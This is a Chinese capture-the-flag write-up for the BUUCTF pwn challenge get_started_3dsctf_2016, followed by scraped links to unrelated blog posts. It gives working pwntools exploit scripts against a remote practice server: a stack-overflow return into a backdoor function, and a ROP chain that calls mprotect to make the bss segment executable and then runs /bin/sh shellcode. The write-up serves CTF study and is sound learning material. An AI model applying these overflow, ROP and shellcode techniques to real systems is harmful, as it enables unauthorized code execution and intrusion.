BUU get_started_3dsctf_2016
先checksec一下

32位程序,没开PIE,再观察一下主函数

gets函数有可能是栈溢出,再观察一下后门函数

方法一:
考虑栈溢出后直接跳转到if判断后面的语句,进而跳过if条件判断
from pwn import *
#p = process('/home/miyu/Desktop/PWN/111/get_started_3dsctf_2016')
# context.log_level = 'debug'
# #gdb.attach(p)
p = remote("node4.buuoj.cn",25895)
offset = 0x38+8
addr = 0x080489B8
payload = b'a'*offset
p.sendline(payload)
p.interactive()
但是这样并不能打通,原因是,打远程时,如果程序异常退出,是不会给你回显flag的,所以我们必须指明一个返回地址,可以这样构造:a*offset+后门函数+返回地址+函数参数
返回地址利用c语言自带的exit的地址

exp:
from pwn import *
#p = process('/home/miyu/Desktop/PWN/111/get_started_3dsctf_2016')
# context.log_level = 'debug'
# #gdb.attach(p)
p = remote("node4.buuoj.cn",26281)
addr=0x080489A0
offset = 56
payload = b'A'*offset+p32(addr)+p32(0x0804E6A0)+p32(0x308CD64F)+p32(0x195719D1)
p.sendline(payload)
print(p.recv())
p.interactive()
有个很玄学的东西,我的offset写成16进制就打不通,换成十进制就打通了
方法二:
利用mprotect更改bss段权限
mprotect函数是这样定义的:
int mprotect(const void *start, size_t len, int prot);
- start是需要进行操作的地址
- len是从地址往后多长的长度
- prot是要对这段赋予的权限
prot=0x7是可读可写可执行
start起始地址也有要求,要求是4k的整数倍,后三位要为000
CTRL+S查看程序的段表

因此start = 0x080EB000
我们需要设置mprotect的三个参数,需要三个寄存器,用ROPgadget查一下
from pwn import *
# p = process('/home/miyu/Desktop/PWN/111/get_started_3dsctf_2016')
# context.log_level = 'debug'
# #gdb.attach(p)
p = remote("node4.buuoj.cn", 26281)
mprotect = 0x0806EC80
mem_addr = 0x080EB000
len = 0x100
ret = 0x0809e4c5 #esi ebx edx
read_addr = 0x0806E140
offset = 56 #不用+4
payload = b'A' * offset + p32(mprotect) # 溢出跳转到mprotect
payload += p32(ret) # 寄存器
payload += p32(mem_addr) # 第一个参数start
payload += p32(0x1000) # 第二个参数len
payload += p32(0x7) # 第三个参数prot
payload += p32(read_addr) # 调用read
payload += p32(ret) # 寄存器
payload += p32(0) # fd
payload += p32(mem_addr) # 需要读的地址
payload += p32(len) # 读的长度
payload += p32(mem_addr) # 返回到更改完rwx的bss段
p.sendline(payload)
shellcode = asm(shellcraft.sh(), arch='i386', os='linux')
p.sendline(shellcode) # 对bss段执行shellcode
p.interactive()
成功拿到flag
BUU get_started_3dsctf_2016的更多相关文章
- Buu刷题
前言 希望自己能够更加的努力,希望通过多刷大赛题来提高自己的知识面.(ง •_•)ง easy_tornado 进入题目 看到render就感觉可能是模板注入的东西 hints.txt给出提示,可以看 ...
- BUU刷题01
[安洵杯 2019]easy_serialize_php 直接给了源代码 <?php $function = @$_GET['f']; function filter($img){ $filte ...
- get_started_3dsctf_2016
题外:这道题不是很难,但是却难住了我很久.主要是在IDA中查看反编译出的伪代码时双击了一下gets()函数,结果进入gets函数内部,我当时就懵了,误以为这是一个自定义函数,但是自定义函数应该应该不能 ...
- buu学习记录(上)
前言:菜鸡误入buu,差点被打吐.不过学到了好多东西. 题目名称: (1)随便注 (2)高明的黑客 (3)CheckIn (4)Hack World (5)SSRF Me (6)piapiapia ( ...
- get_started_3dsctf_2016 1
拿到题目,依旧还是老样子,查看程序开启的保护和位数 可以看到程序开启了nx保护是32位程序,于是我们把程序放入ida32编译一下 一打开就能看到非常明显的get_flag这个程序,f5观察伪代码 当a ...
- [BUUCTF]PWN11——get_started_3dsctf_2016
[BUUCTF]PWN11--get_started_3dsctf_2016 题目网址:https://buuoj.cn/challenges#get_started_3dsctf_2016 步骤: ...
- BUU XSS COURSE 1 & [CISCN2019 华东北赛区]Web2
BUU XSS COURSE 1 & [CISCN2019 华东北赛区]Web2 XSS的题目没怎么做过,比赛基本上也没有(=_=),总结下今天做的两题 都是看赵总视频现学现做的,这里附上学习 ...
- BUU [GKCTF 2021]签到
BUU [GKCTF 2021]签到 1.题目概述 2.解题过程 追踪HTTP流 在下面发现了一串可疑字符 Base16转base64 放到010里看看 复制下来,去转字符 好像不是,再回去找找其他的 ...
- Buuctf | BUU LFI COURSE 1
跟着赵师傅学CTF,这里是我的学习记录 ?file=/flag ?file=/var/log/nginx/access.log :包含ngnix的日志记录 在user-agent里面插入 :bbbbb ...
- buu Crypto 刷题记录
1.MD5 直接解. 2.url编码 直接解. 3.一眼就解密 base64. 4.看我回旋踢 对文本内容全部CaesarDecode. 5.摩丝 直接MorseDecode. 6.Quoted-pr ...
随机推荐
- Go runtime 调度器精讲(六):非 main goroutine 运行
原创文章,欢迎转载,转载请注明出处,谢谢. 0. 前言 在 Go runtime 调度器精讲(三):main goroutine 创建 介绍了 main goroutine 的创建,文中我们说 mai ...
- Python—开发工具 PyCharm 使用
一.创建新工程: 第一个工程创建完毕!
- (系列五).net8 中使用Dapper搭建底层仓储连接数据库(附源码)
说明 该文章是属于OverallAuth2.0系列文章,每周更新一篇该系列文章(从0到1完成系统开发). 该系统文章,我会尽量说的非常详细,做到不管新手.老手都能看懂. 说明:OverallAuth2 ...
- Java日期时间API系列40-----中文语句中的时间语义识别(time NLP)代码实现分析
从上篇 Java日期时间API系列39-----中文语句中的时间语义识别(time NLP 输入一句话,能识别出话里的时间)原理分析 中得知解析的主要步骤分为三步: (1)加载正则文件 (2)解析中文 ...
- 48 .var声明函数和function声明函数的区别
定义函数的方式: 1. 函数表达式定义函数 function expression 2. 函数式声明 function declaration 区别: var声明的函数,只能在声明之后调用,因为函数表 ...
- 使用Spectre.Console定制.NET控制台输出样式演示
创建一个控制台项目,引用包Spectre.Console.或者如果需要定制控制台cli命令,也可以引用 Spectre.Console.Cli ,里面自带包含了Spectre.Console ...
- LDAP和SSO
什么是LDAP(Lightweight Directory Access Protocol)?很多公司会使用各种开源平台(例如: gitlab. Jenkins. chat 等等),维护这些账号是一件 ...
- 【速记】C++ STL自定义排序
因为是"速记",难免会有不完善的地方.这篇笔记咱日后应该还会进行补充. 关于sort的比较函数 void sort( RandomIt first, RandomIt last, ...
- Python3 编程面试题
Python global 语句的作用 lambda 匿名函数好处 Python 错误处理 Python 内置错误类型 简述 any() 和 all() 方法 Python 中什么元素为假? 提高 P ...
- ESP32+L298N+MQTT+4G无线远程监控+四驱动小破车
ESP32+L298N+MQTT+4G无线远程监控+四驱动小破车 小车源代码 注意修改WIFI 信息 #include <analogWrite.h> #include <WiFi. ...